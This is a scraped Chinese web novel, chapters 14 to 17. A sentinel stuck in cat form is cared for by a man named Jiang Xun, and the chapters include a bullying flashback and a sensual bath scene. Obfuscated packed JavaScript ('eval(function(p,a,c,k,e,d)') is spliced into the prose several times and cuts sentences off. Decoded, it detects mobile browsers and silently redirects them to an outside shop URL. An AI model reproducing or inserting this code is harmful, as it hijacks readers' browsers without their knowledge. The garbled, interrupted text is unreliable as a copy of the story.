就算回了家，父母也经常因为各种事情吵架，无暇顾及身边的很多事。 在他的印象里，他们不吵架的时候总是忙着工作，忙着生活，忙着照顾奶奶。所以他早早就习惯了自己处理一些生活中遇到的小事。 像哪里不舒服了，感个冒发个烧什么的，都不会去特意告诉爸爸妈妈。有药的时候就吃吃药，没药了就硬扛。有时候甚至自已还没意识到自己生病了，就已经扛过去痊愈了。 这种习惯一直延续到他长大。即使后来他工作赚钱了，有能力随时看病了，遇到不太严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身体不受控制，脚下一步踩空，咕噜噜滚下了楼梯。而后“砰”一声，被楼梯尽头的墙壁拦住，软软倒了下来。 陆厌离瘫软在地上，昏昏沉沉，脸贴着地板软软地趴着，余光却见身下的地板迅速变了模样。 楼梯从下往上滚动着变成金色，一层厚实的考究绣花地毯从地面上隆了起来。扶手像活了似得扭动变形，凝固成繁复雍容的花纹，灯光一点点泛黄，水晶灯在映照下折射出细碎迷离的光芒。 自己的视线似乎变高了一些，头上传来的痛感也更加明显了，好像还有什么冰凉黏腻的液体顺着脸庞缓缓流下。 陆厌离忍不住想抬起手来擦去那液体。刚伸出手，却惊讶的发现，出现在自己面前的，不再是毛茸茸的兽爪，而是一双稚嫩细幼的小手。 而不远处的楼梯上方，居高临下传来一个有些熟悉的声音。 14. 第 14 章 【小杂种！这里是我家！你给我滚出去！】 这声音似曾相识，音色里有种儿童的清脆甜美，可话里的内容却毒辣。 话音刚落，一堆衣服杂物劈头盖脸地砸了下来。 头顶落下的衣衫小小的，被做成小西装的样式，材质却肉眼可见的廉价，被手一抓就皱皱巴巴的。小西装歪七扭八的被一堆乱七八糟的杂物压在下面，像是一具小小的尸体。 陆厌离的心智好像也随着身体变小了，面对刀风剑雨都不会眨下眼睛的强大战士，在这一刻变回当初那个稚龄的孩子。 心中被惶恐害怕充斥，眼泪忍不住地溢出眼眶，浑身颤抖着抱着头缩着身子，却不敢躲一下。 “二哥，妈妈……妈妈说他就是我爸爸，这里就是我的家。” 【放屁！谁是你二哥！】 听到这话，楼上站着的人好像更生气了。 噔噔噔几步跑了下来，乌黑明亮的眼睛因为愤怒瞪得溜圆，愤恨地伸手指着陆厌离继续骂道： 【你妈妈就是个懦夫！娼妇！明明是个哨兵，却不敢上战场，只会勾引男人！明知道我爸爸有妻子还巴巴地扒上来，还偷偷生下你这个小杂种！】 少年的愤怒如火焰般炙热燃烧，手指因为剧烈的情绪波动微微发抖。 陆厌离甚至感觉那手指，再往前一点就会搅碎自己的眼珠子。 楼梯两侧，从黑暗中走出一个个服饰各异的男女老少，团团把他围在中间。 他们有的着西装革履，玩味地摇晃着手中的高脚杯，居高临下看过来的眼里蕴含着陆厌离看不懂的情绪。 有的裙摆翩跹，半开扇子遮住小口，一边与身旁的友人侧脸低语，一边斜视过来，如画的眉目间净是兴味。 有的表情夸张地和伙伴大声地讨论着什么，边说边伸出手来，对着他指指点点。 有的衣衫破旧，一层叠一层的皱纹密布面庞，却还凑近过来，张着皲裂缺口的黑黄大牙，讨好地冲着他不停打稽。 重叠的声浪一波一波涌来，面前的人群一点点逼近，投下张牙舞爪的阴影，陆厌离惊恐地紧靠着身后的墙面，避无可避，只得努力把自己缩成一团。 眼眶里控制不住地涌出水流，嘴巴无助地张合，涎水黏连着拉成细丝濡湿了嘴唇。双手紧紧抱住膝盖，指尖掐入紧绷的肌肉里。 阴影从他的脚尖爬到腰间，再一点点上升，眼看着就要没顶。 一双手臂却在此时撕裂了所有阴影，卡住陆厌离的腋下，将他一把举起抱入了怀中。 璀璨的灯光重新打在陆厌离身上。 一塌糊涂的脸颊贴上了昂贵柔软的衬衫，鼻尖闻到一股优雅而温暖的淡香。 一只不大的修长手掌揉了揉他的额头，又在他后脑上安抚地轻拍。 陆厌离伸出小手紧紧抓住面前的人，惊魂未定地抬起眼透过眼泪望去，却只能看到一个光洁的下颌。 头顶响起一个少年模糊的声音： 【陆沉！谁教你这么说话的？你的教养呢！】 来人一边说着话，一边抱着他移动起来。 他一动，周围环绕着的人群便如灰烬般烟消云散，只有那个愤怒的孩子还追在身后不依不饶： 【大哥，我说的难道有错吗？他妈妈就是个眼里只有钱的下流货色！要不是因为她是个难得的哨兵，爸爸怎么会看得上她！】 【够了！】 少年的语气冷了下来，那个孩子也被哥哥难得的冷脸吓到，闭上了嘴巴。 【长辈的事哪能轮得到你置喙！不管他的母亲做了什么，都与他无关。他是我们货真价实的弟弟，这一点无论如何都不会改变！】 教训过弟弟，少年又低下声音来，怕吓到了他似的，抱着陆厌离的身子轻轻摇晃着，一下一下抚摸他的头发。 【没事了，没事了，星星别害怕！大哥在这里呢！】 听到这话，陆厌离的眼泪反而落得更急了，依赖地蜷缩在少年怀里低声啜泣，伸出双手紧紧环住对方的脖颈，在轻柔的声音中像个婴儿似的被抱着轻拍。 视野随着少年的胳膊抬起又落下的动作，忽明忽暗，慢慢泛白。 耳边模糊的声音渐渐变得清晰。 “……猫猫……猫猫你摔到哪里了？痛不痛？” 陆厌离眼中还含着未散去的泪花，迷迷糊糊中感觉视线再次抬高，脸庞贴着的胸膛渐渐变得宽阔厚实，在说话时嗡嗡震动着。环抱住自己的手臂肌肉流畅地隆起，腕骨拉长，抚在头顶的手掌也慢慢放大。脖颈被自己的双爪环绕着微微弓起。 于是一张焦急关切的少年人面孔便落进了他的眼里。 * 江寻听到门外传来一阵乒铃乓啷的声响，一出门就被吓了一跳。 猫儿也不知怎么的，走得晃晃悠悠的，一脚踩空就囫囵滚下了楼梯。 江寻猝不及防，一下没拉住，赶忙急走两步下楼查看。 楼梯下方，猫儿正摔得四仰八叉地在地上蹬腿，江寻急忙扶起它，上下检查一下它刚刚拆了固定药泥的爪子，爪子活动自如，似乎没什么大碍。 江寻松下口气，还好这段楼梯不算太高，拐弯处还有墙壁拦了一下，不然要是一路滚落下去，说不定刚刚长好的骨头又要断了。 猫儿似乎是被摔懵了，四条腿在空中划拉了半天也没翻过身来。嘴里还哼哼唧唧地小声叫唤着，连眼睛都变得雾蒙蒙的。 江寻被猫儿少有露出的可怜样惹得心中软软，动作都慢了下来。 一手托起猫猫的身体揽在胸前，一手轻轻揉着它的后脑，像抱着小婴儿一般摇晃起来。 “猫猫怎么摔下来了？还有哪里痛吗？让爸爸看看摔哪里了？” 小心地在猫猫脑壳上摸索一圈，还好，没有血迹也没有哪里肿胀起来。 又轻声细语地哄着：“猫猫是不是摔疼了？爸爸揉揉，不哭了哦。” 怀里的小猫好似听懂了，顺着江寻的力道乖巧地窝在他怀里，少有的没了抗拒。还伸出爪子勾上了他的脖颈，脑袋一伸贴上了江寻的下颌，脸埋在他胸前含着委屈细弱地哼唧起来。 江寻的心都要化了，瞬间父爱爆棚。 捧着自家宝贝又是摇又是哄，真是体验到了什么叫含在嘴里怕化了，捏在手里怕碎了。 直哄了好一会儿，猫猫才住了声，可脸庞还是死死埋在江寻怀里不出来。 江寻心下好笑。 “终于不哭了醒过神来了？来让爸爸看看花猫脸。” 说着做势就要卡着猫儿的前肢，转过脸来看。 猫儿马上抗拒地喵喵叫了起来，四爪齐动抵着江寻的脸，身子像个泥鳅一样翻腾起来。 江寻顺势松开手，猫儿一落地贴着他的腿就滑了出去，徒留江寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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可猫猫软软的肉垫又怎么能阻挡得了邪恶的两脚兽呢？只会让他们更兴奋罢了。 江寻就是一个如此邪恶的两脚兽。 他现在一点儿也不怕面前的猫儿了，它就算非常抗拒自己的时候，都不会向自己亮指甲。在自己面前，对方的攻击力约等于零。 见猫猫推拒，江寻不退反进，连另外一只手都环了上去。 他的骨架天生就大，手臂又长，这一环不仅严严实实地挡住了猫猫逃跑的所有路线，绕了一圈的大手还能反折过来，安抚地抚摸猫猫的头顶。 “猫猫不怕不怕，我们就洗个澡，很快就结束的。你看爸爸也陪着你一起洗呢，不害怕噢。” 手上动作不断，嘴上也不停，不断说着话安抚猫猫的情绪。 可就是不放它出去。 直让猫猫徒劳地在臂弯里扑腾了将近十分钟，累得小口喘气才微微松开个口子，低头看过去观察猫猫的情绪。 谁知他这力气一松，刚刚还表现得精疲力竭的猫猫瞬间一个挺身，就要从开口处跃出来。 它哪知道道高一尺魔高一丈，一见它的动作，可恶的两脚兽脖子往前一伸，就用下巴堵住了刚刚露出的缺口，封死了它的逃跑路线，气得猫猫又是一顿喵呜喵呜的叫骂声。 15. 第 15 章 陆厌离气喘吁吁地被关在江寻怀里，四面八方都被这个可恶的男人封锁，密不透风。 陆厌离有些后悔，最近看男人和自己一直在一起也没有毒性发作的表现，戒备心便放松了一些。没想到，对方却是个得寸进尺的性子，一时不察，竟让自己落入了如此窘境。 此时，全身上下都被对方的气息团团笼罩。 脚下是紧绷的大腿肌肉，身上是紧紧箍住自己的有力臂膀，头顶更是被对方的下巴堵住。 男人一直在絮絮叨叨地说着话，用着陆厌离根本听不懂的语言。可此时，他也顾不上去猜测对方在说些什么了。 从小谨守的规则死死地刻印在脑中，让他远离、规避着他人。可久不曾与人亲近过的身体，每一分每一寸都在尖叫着反抗。 陆厌离的意识被夹杂在这自制与本能的剧烈冲突中，如蓬草般摇摆。 男人口中呼出的气息，在这近乎封闭的火热怀抱中，无孔不入地侵入他的口鼻毛孔。那火热的空气被吸入口中，便一寸一寸点燃他的口腔，他的气管，他的胃壁，他的骨髓。再化为肉眼看不见的分子由内而外地刺入他全身上下每一寸血肉。 血液在这股力量的支援下欢快地沸腾起来。 细胞在这股力量的刺激下活跃地蹦跳起来。 身体像是有了自己的意识，摒弃了陆厌离在脑海中下达的命令，贪婪地向着对方皮肤上紧贴过去。 陆厌离感觉自己好像又进入了精神力失控下的神游状态，五感开放到了极致，理智却又极度清醒着感受到了神经丛的每一次颤抖。 挤压，按揉，每一个小小的碰触都如触电般在皮肤上引起一串战栗，又被放大到极致，顺着神经末梢反馈回来。陆厌离的神志在这连绵不断的巨大刺激中不断摇晃。微弱的理智如草堤般，被洪流一触即溃。 于是连浑身的毛发似乎都有了知觉，每一根都缠绵地摩擦，哀嚎着勾缠，再将得逞后的愉悦化为一丝丝细密的电流，欢呼着回身上窜，直入后脑。 陆厌离头颅无法自抑地后仰，神志溃散，目光恍惚又不受控制地紧紧盯着自己面前上下滑动的喉结。 一滴汗水从对方脖颈上缓缓滑下，流过颈侧时在沟壑里猛然加速，又在撞到锁骨时缓慢下来。 陆厌离的目光凝聚在这滴小小的汗珠上，看着它颤颤巍巍地翻越过锁骨的脊梁，在锁骨下肌肉的小小窝渠里一个圆滑地转身，便攀上了鼓胀的胸肌，之后一路平坦顺流而下。 齿间溢出绵延的涎水，嘴巴徒劳地张开，舌头化为了灵蛇般使劲狂舞前伸，想要品尝到那滴可贵的甘露，又在残存的本能抑制下眼睁睁地看着它滑落下去，直入男人腹间的阴影。 陆厌离喉间“嗬嗬”作响，瞳孔扩散，目光一寸一寸贪婪地在眼前男人赤/裸的皮肤上舔舐。 尾椎一阵又一阵地剧烈颤抖起来，每一次都带动着脊骨波浪般起伏，再直直插入大脑。身体像是一块洗饱了浓稠液体的海绵，被无形的大手不断挤压着，一点一点攥干。 陆厌离感觉自己好像真的退化成了一只发/情的野猫，脑子好像坏掉的电视，不停地闪烁着空白。 人形时都从未有过的激烈体验，在兽体的加持下，像永无止境的风暴般不停撞击着他的神志，在脑海里刻下深深的痕迹。让他以后每一次稍稍回想起来，就会克制不住地浑身颤抖，情热难抑。 当然，如今的陆厌离还不知道以后的这种甜蜜的痛苦。只是在这无人知道的小小空间中，不断地挣扎又被不断地俘获。 江寻哪里知道怀里猫儿的刻骨感受，只是觉得被自己紧紧箍住的猫儿，一会儿奋力地挣扎半天，一会儿又像是力竭般瘫软如泥。 于是，他也便像钓鱼一般，一会儿松松口，一会儿又紧紧把对方束缚起来。 一人一猫就这么在洗浴室里僵持了快半个小时。 浴缸里的水都重新加热了两遍，江寻胳膊上的肌肉都酸了，终于感觉猫猫像是彻底失去了反抗的力气，软软地倒在了他的胸口。这才吁出口气，放开了怀抱，把猫猫揽在臂弯里，开始给猫猫洗澡。 只见宽阔的浴缸里，坐着个裤子全湿透了的半裸美男，怀里揽着只毛发全湿，微闭着眼睛的灰不溜秋猫儿。 猫儿不知是经受了怎样一番劳顿，呼哧呼哧地急促喘息着，四爪蜷缩乖巧趴伏在男人赤/裸的胸前，长长的大尾巴无力地倒卷在男人揽着它的手臂上，像是推拒又像是在拉近。 男人一只手举着淋浴头，让水流温柔地冲刷在猫儿身上，一点一点用流水吻过猫猫全身。 “猫猫，你好像长肉了呀？毛毛也新长出来了一些。” 江寻洗着洗着发现了猫儿身上的变化，新奇的伸手四处揉捏着猫儿的四肢、肚腹。又拨开长毛，手指贴着皮肤滑动，感受着猫猫身上新生出的细弱绒毛剐蹭在指肚上，带来一点微弱的瘙痒。 猫儿扭过头去，受不了地把脸庞深深埋入加害者的颈间，在男人的手指下发出一声声如泣如诉的轻声喵叫。 像个妩媚又黏人的小妖精似的，再看不到一点儿平日里高傲神气的模样。 江寻被它叫的心中酥软，却克制不住地又起了坏心。趁着猫猫转过了脸去，偷偷调整角度，窥向猫猫下身。 原来是个小男孩。 江寻轻笑，得寸进尺地偷偷把淋浴头对准它的小铃铛使坏。 猫儿也不知是没了力气还是没看出男人的坏心眼，只是害羞般蜷缩起后腿徒劳地左右遮挡，肉垫轻蹬着江寻抗议。 可耻的人类抓住肉垫一通揉捏，收下了猫猫献上的贿赂。却根本不愿放过可怜的猫猫，又来回折腾了半个小时，直到洗浴间里的空气都开始稀薄了，这才满意地收手。 徒留一室委屈的喵喵叫声。 江寻志得意满，给难得乖巧的主子擦干身上的水渍，又放进烘干室里，这才得空打理自己。 这一番戏耍下来，江寻也累得一身是汗，浑身湿得透透的。感觉自己的皮都要被浴缸里的水泡皲了。干脆利落地把裤子一脱，就打算顺便给自己也洗个澡算了。 谁知这时，刚刚还安静乖巧的猫猫像是缓过了神来，跌跌撞撞跳下了地面，就开始趴在烘干室的门上不住地拍打挠门。 江寻隔着门哄了好几句，也不见它停下。只得任劳任怨地跨出浴缸，都顾不上自己尚且赤/裸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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本来还以为猫儿又要三催四请才愿意动动尊贵的爪子呢，没想到这一次，还没等他好好坐下，屏幕一亮猫猫就主动踱步过来。 江寻稀罕地看一眼猫猫，又忍不住在它暖融融的长毛里摸了一把。这才操作着屏幕，打开了今天要学习的课程。 经过了这么多天的学习，江寻已经对这里使用的通用语熟悉了很多，一些基本的日常交流用语都能听懂了。 这种通用语和江寻以前在地球上接触过的各种语言都有很大的不同。 因为需要适应众多种族各自的生理结构，这种语言拥有着多种复杂的基础发声音素。 只按发声部位的不同，就有喉部发声，颚腔发声，思维波载入等足足五种发声方式。 元音之外，又有几种特殊的辅音以适应无唇种族和多声道种族等特殊种族。 为了适配不同种族的听觉频谱，又分为高中低三套元音方案。 另外，还设定了一套三维声纹编码以供能量生命体使用。 只是对这种语言的初步了解，就让江寻窥得了这个星际文明繁荣昌茂的一角。但同时，在拥有着复杂音素库的同时，它又有着简单易懂的语法架构与书写方式。 简单的说，只要记忆住了这种语言的音素库，就能很快的学会这种语言，看懂文字。 这段时间以来，江寻在小A的帮助下，已经学习了一半以上的基础课程。他估计，再按照课程设计学习一个月左右，就能基本掌握这门语言了。 16. 第 16 章 “嗯……Thol''ir，支撑体，引申为消除疲劳的装置，可坐卧的结构……” 江寻一边学习新单词一边默念着，手一捞身边的猫猫正要rua上一把，却见猫猫主动凑到了他面前，爪子朝下一拍。 “嗯？”江寻疑惑地看着猫猫，没明白它在做什么，胡乱在它身上揉了一把，又接着默读单词。 “Thol''ir，Thol负面的，ir反向的……” 话音未落，却见猫猫又走近了一步，再次一拍身下。 江寻奇怪地看着猫猫，愣了一下，心里涌现出一个大胆的念头，试探地再次念道：“Thol''ir？” 果然，猫猫再次毫不犹豫地拍了拍身下的沙发。 江寻惊讶地直起了身子，直勾勾地上下打量着猫猫，又扭头看了看投影上的单词，再次试验。 “Vra''sil，屏障，膜，透明界面？” 只见猫猫轻巧地跳下沙发，几步走到落地窗前，举起前爪拍了拍落地窗，又转过头来看向江寻。 江寻吓了一跳，不是，你们星际生物到底是进化成什么样了？猫猫都聪明到能认字上学了吗？ 江寻好奇大盛，看看投影，又念出一溜儿单词。 “Lyr''tek，手指、触须、能量探针。” 猫猫走过来，把爪子搭在他的手指上。 “Zal''tha，能量摄入、吃饭、光合作用。” 猫猫叼来了它的小碗。 “Ryn''kor，液态循环、喝水。” 猫猫推了推江寻摆在桌面上的水杯。 …… 江寻脑子一转，翻了翻单词表，期待地念出最后一个单词： “Kyn''ara，孵化者、能量供给者？” 却见猫猫一楞，看了他一眼，理也不理地原地趴了下来。 “呀！Kyn''ara！猫猫来叫爸爸呀！来，Kyn''ara！” 江寻凑近过去，一边念着单词，一边指向自己。 猫猫却故意扭过身去背对着他，看他伸脸过来，还甩起尾巴啪啪地拍了上去。 江寻却不放弃，硬是前后左右地围着它念叨了半天，最后收到爪印四个，这才消停下来。 “你该不会比我还会通用语吧？” 江寻绕着猫猫团团转，一边转一边发出啧舌声。 “你到底从哪学的通用语啊？星际真有什么宠物学校教这些？” 江寻看着猫猫沉吟片刻。 “你该不会以前曾经被其他人养过？怪不得你这么聪明，不像别的野生动物一样，花很久都养不熟，还这么喜欢亲近人类。” “那我一直和你说话你都不搭理我……”江寻突然反应过来，恍然大悟，“你听不懂的是华国话呀！” “那我要是以后和你一直讲通用语，那我不就拥有一只能听懂我讲话的猫猫了？” 能养一只能听懂自己讲话的猫猫，这么玄幻的剧情是多少地球铲屎官的梦想！结果居然是江寻这个在地球上的时候都没养过宠物的人先达成了。 养猫的同时还能顺便练习通用语，一举两得！ 江寻想到这个点子，马上就决定实施起来。 嗯，和猫猫聊点什么好呢？江寻为这历史性的一幕寻找着第一个话题。 对了！ 灵光一闪，江寻转换了语言，磕磕绊绊地说起了通用语。 “Kyn''ara，”指指自己，又用华国语说道：“江寻！” “我们……嗯，来，来给小猫……取个名字？” 说完，眼睛亮晶晶地看着小猫，目露期盼。 猫猫闻言一楞，抬起头来，墨绿眼瞳定定地看着江寻，眼里泛起些看不清的情绪。 “嗯，我想想，”江寻一边回忆一边组织着语言，“我，我们第一次，第一次见的……时候，你站在，站在大树上。后来，后来我接你，你回家的时候……你也是爬在，爬在大树上。回来，回来以后也……也喜欢站在高，高处，” “你这么，这么喜欢……爬树，大名就叫，叫栖树怎么样？” “江栖树。” * “小树，你在哪里呢？来这边陪爸爸上课。” 江寻拍拍放在身边的小垫子，冲着屋内呼唤道。 陆厌离正趴在柜顶舔着毛，闻声叹出口气，无奈地走出房门，跃上楼梯扶手，俯身看了看正坐在大厅沙发上左右张望的男人。然后不紧不慢地迈着猫步，从紧窄的扶手上走了下去。 这个男人，自从那天自说自话地给他起了个名字以后，就天天把这名字挂在嘴边。 对于陆厌离来说，名字是非常重要的东西。 他这一生曾有过两个名字，这两个名字如分割线一般，将他的人生划分成了两个截然不同的模样。 他没想过，在他的人生即将结束时，居然能得到第三个名字。 虽然取名字的人身份成谜，目的不详，还只把他当做一只宠物，但陆厌离觉得这些都已经不再重要了。 即使只是作为一只宠物，他也是真的在意着自己，自己也从他那里得到了许多从未感受过的东西。 最重要的是，他的体质似乎有些特殊，对自己身上的毒素反应不大。当然，这也有可能是自己的哨兵能力正在随着时间削弱的原因。但仅仅是如此，已经足够让他惊喜。 也许这是上天的垂怜，让自己在最后的日子里，还能遇到这样一个神奇的人，再次拥有一段新的生命历程，陆厌离心中只有感恩。 “江寻。”陆厌离在心中默念，原来这就是他的名字。 那天的荒唐过后，直到现在，每次靠近这个男人，他的身体仍会不由自主地回忆起当时的崩溃绝顶，想要远远逃离，却又饮鸩止渴似的忍不住靠近。 触觉像是对他开放了什么特殊的开关似的，每当他的手指触到自己身上，神经末梢接收到的信号就会被自动放大回传，身体回溯起那时的感觉，让他从皮肤到骨髓一阵颤抖酥麻。 陆厌离庆幸于自己一直都是猫身，没有让男人识破这份不为人知的羞耻。又不甘心男人只把自己当做一只无知无觉的宠物看待，任自己一个人沉沦其中。 曾想过对他表露出自己哨兵的身份，可当他看到全息屏上显眼的倒计时时，还是放弃了这个念头。 还有62天，一转眼居然离自己来到寂静星已经过去二十多天了。 可他却觉得，这短短的二十多天似乎比他过去休眠的十年还要来得充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江寻目不转睛地盯着在自己手下安稳睡去的小猫，心头暖洋洋的。 原来那天在洗澡时的发现不是错觉，小猫最近真的长胖了一些，毛发也新生出好多。 江寻记得刚见到他的时候，猫猫虽然一个照面就放倒了他，可踏在自己身上的体重很轻，抵在自己脖颈上的爪子，也是皮包着骨头，如枯枝般嶙峋，让人一眼看到就想起某种锋锐之物。 而如今，四肢流畅的骨骼肌肉上覆上了一层薄薄的软肉。肩背厚实了起来，前身也看不到曾经抵出的条条肋骨了。 睡着的时候，看起来无忧无虑舒服极了，身上那种病态的攻击性不见了踪影，活脱脱变成了一只乖巧的家养小猫。 原本身上的毛发稀疏的江寻都不敢去给他打理，怕一用力就给它薅秃了。如今，肩背腿根的皮肤上，也长出了一层细密的白色绒毛，摸起来微微扎手。 江寻这才发现，原来小猫的长毛根处是白色的，长长了以后才有了渐变，成了一只烟灰色的小猫。 看着面前日渐丰盈的猫猫，江寻心里充满了成就感。 也许这就是养成的快乐吧。 等这层绒毛再长长一点，就做一把梳子给它梳毛吧，江寻想道。 一人一猫安静地一坐一卧，外间的空气渐冷，落地窗上凝结了一层水蒸气，变得雾蒙蒙的。早冬的阳光透过窗户，被这一层水蒸气阻隔一道，再落入房子时，便温柔了许多。 江寻被这慵懒的阳光一照，也忍不住地打了个哈欠。 干脆关了投影，小心的把睡着了的猫猫偷渡到自己怀里，在沙发上一歪，抱着猫猫也睡了过去。 梦中，熟悉的灼热悄然而至。 17. 第 17 章 熟悉的热流在体内油然而生。 浑身软绵绵麻酥酥地被一点一点点燃。 已经经历过许多次冲击的身体，早已形成了惯性，渐渐地熟悉了这股热流地不时来访，开始学会主动去享受其中的快乐。 身体第一时间放松了下来，浑身的毛孔扩张了开来自由的呼吸，皮肤微妙地颤动着，向外喷洒着属于他的热度，为这场盛宴预热。 一股战栗从尾椎开始逆流而上，一点点划过他背上每一根脊柱骨节，裹挟着血流一路奔涌到小脑，引得头颅微微抖动，牙齿磕碰到了一起，泛起一阵寒噤。 江寻在睡梦中无意识地仰头，微张开唇齿，喉间溢出长长的一声低吟，浑身都做好了迎接一场狂欢的准备。 可这一次，情况却与平日里不一样了。 江寻只觉得那灼热积压又积压，堆叠又堆叠，热气聚集，燃起熊熊烈火，身体最深处的温度越来越高，那热气却迟迟不像往日一样在周身流动起来，只是无止境地汇聚。 江寻的意识被困在这股越来越灼热的火焰中左突右撞，找不到出口。 胸腔一点点鼓胀起来，无法释放的热气憋得江寻逐渐呼吸困难起来，心底渐渐由轻松转变为焦躁不安。 那热气越来越旺盛，越来越密集，反馈在身体上，心脏开始鼓噪不休，额头冒出一层一层的细汗，眉头也紧紧皱了起来。 江寻被这股越发汇聚起来的火焰灼烧着心智，难耐地无声挣扎，从他身体中发散出去的某些东西却在此时，与空气中的另外一样东西轻触在了一起。 如正极遇到了负极一般，这两种截然不同的东西，竟在接触到的第一时间紧紧交缠在了一起，不停地融合再融合。 而随着它们彼此的融合，江寻的身体中，又有更多的热气好像发现了猎物般，顺着前辈的足迹奔涌而出。 江寻体内囤聚的热流，在此时如决堤一般轰然奔流而下，齐齐涌向腹部，再顺着出口一股脑地喷涌出去。 无始无终，无穷无尽。 脚尖绷紧，胯骨被这股热流带着前倾，身体哆嗦着弹动几下。 江寻已经烧得滚烫的体内，随着这股热流的离去开始迅速失温，不一会儿就彻底冰凉了下来。刚刚找到出口的舒爽感觉，迅速变成枯竭的抽痛。 可这股洪流像是还不满足，仍然搜刮着江寻体内所有的缝隙，妄图从他的身体里压榨出更多的热力，直到体内空空如也才肯罢休。 江寻的身体在这极度的灼热与彻骨的冰凉的冲击下，仿佛又回到了第一次遇到猫儿之时。 强烈的晕眩与不适感袭上脑海，沉沦在睡梦中的江寻，就这么不为人知地晕了过去。 陆厌离却在这个午后，迎来了他有史以来最舒适的一场大梦。 他身上时时刻刻向外逸散着的杂乱的失控精神力丝线，在触到了空气中的什么看不见的东西之后，被迅速的抚平了。 虽然总量对比起他体内所蕴含的精神力来说如九牛一毛，可他从未经受过疏导的精神力，就如干燥的柴火似的，只需要一点点火星就会被瞬间引燃。 当那一丝精神力被抚平的时候，他体内剩余的其他精神力马上便像饿了一整个冬天，终于捕捉到了猎物的饥饿野兽一样扑了上去。 纠缠、扯拽、搜刮，不停地从空气中搜寻着更多。 这种看不见的物事，也像是对他的精神力丝极度亲近，一点儿也不嫌弃它的莽撞，一股又一股地从不知名处涌出，大方地将自己献上。 两者如天生就该融汇在一起一般，一经接触就迅速地纠缠融合，直到其中一方消耗殆尽，这场融合才偃旗息鼓了下来。 陆厌离的表情，也从刚开始被触动时的皱眉，转变为餍足。 离开休眠舱后，无时无刻萦绕在他耳边的杂音渐渐沉寂了下去，皮肤上毛发生长所带来的持续不断的瘙痒感也不再清晰。在这场盛宴之后，陆厌离久违地产生了一些放松的感觉，不由坠入了深眠。 在他看不见的精神图景深处，一场薄雪飘飘洋洋地落了下来。 这雪没个来处，像是从天外而来。漫天的轻薄雪花无声无息地散落，轻如鸿毛。 薄雪落在无时无刻不在剧烈燃烧的孤岛上，将自身融进那喧嚣的焰火之中，虽无法平息那滔天大火，却让汹涌的火势缓和上了那么一些。 孤岛上空，上扬的灰烬也被雪花所压，散溢得缓慢了一些。 幻梦之中，陆厌离的鼻尖好像闻到了他最喜欢的鱼冻的微妙腥味，那味道冲进他的鼻腔，又顺着呼吸道越浸越深，到了胃里旋转一圈带来一股饱足，直至变成一丝悄不可闻的气息深深埋入他的心底。 陆厌离恍惚间感觉浑身都轻飘飘的，忍不住在梦中小声喟叹出声，身子向着薄雪飘来的方向凑了过去，深深埋入江寻怀中。 空气里，看不见的剧烈交缠持续不断地进行着，一人一猫在这个午后紧拥在一起，无所觉地沉沉睡着。 * 直到皮肤感觉到了一阵凉意，江寻才从睡梦之中甦醒了过来。 迷迷糊糊地抬眼一看，房中已经一片漆黑。 刚一动弹，却感受到了腹间传来的阻力。 微微低头一看，小猫仍然蜷缩成一团，紧紧贴着他睡着。 江寻晃了晃头，这才清醒了过来，一手搭在猫猫的耳朵上捂住它的耳朵，轻声询问道：“小A，几点了？” 【江寻先生，晚上好，现在是晚上18点50分。请问需要什么帮助？】 江寻微微一愕。 按照全息舱的显示，这里的一天只有20个小时，18点50分，已经将近午夜了。 自己和小猫居然双双从下午一直睡到了现在。 简直像是昏过去了一样。 江寻用手指揉了揉太阳穴，也不知是不是睡得太久了，他反而觉得一觉醒来更困了，精神也十分疲乏，忍不住地打了个哈欠。 打哈欠时的动作似乎太大了，随着他的动静，怀里的小猫也懵懂醒了过来，毛茸茸的软毛顺着衣服的空隙扫过江寻腰间，带来一阵麻痒。 随即，一双肉乎乎的爪子伸了上来，踏上了江寻胸口。 江寻的哈欠打到一半，被胸口的怪异触感惊动，低头看去。 只见怀里的小猫眼睛都没睁开，前腿使劲往前伸出压到他胸口，上身压低屁股高高翘起，整个身体拉长，和他同步打了个大大的哈欠。 伸到他下巴底下的爪子在拉到最长时，可爱地开了花，掌心几个小小的粉嫩肉垫鼓囊囊地出现在江寻眼前，又在落下时按压在他的胸口。指掌左右捏了两下，似乎是试探了一下手感，紧接着，居然一抓一推地在江寻胸前踩起奶来。 江寻被猫猫这新奇的动作吸引了目光，胸前的新奇触感也让他痒痒的，涌动出一些奇特的感觉来，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762079|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急着起身了，兴致勃勃地半躺在那里，看着猫猫的动作。 直踩了好几分钟，猫猫才再次打了个哈欠，慢慢停下动作，睁开了眼睛。 四目相对之间，一时沉静了下来。 意识到自己刚才在做什么，猫猫的眼中慢半拍地浮现出了一抹好像尴尬一样的情绪，江寻此时正盯着它看，见到此景，不由轻笑出声。 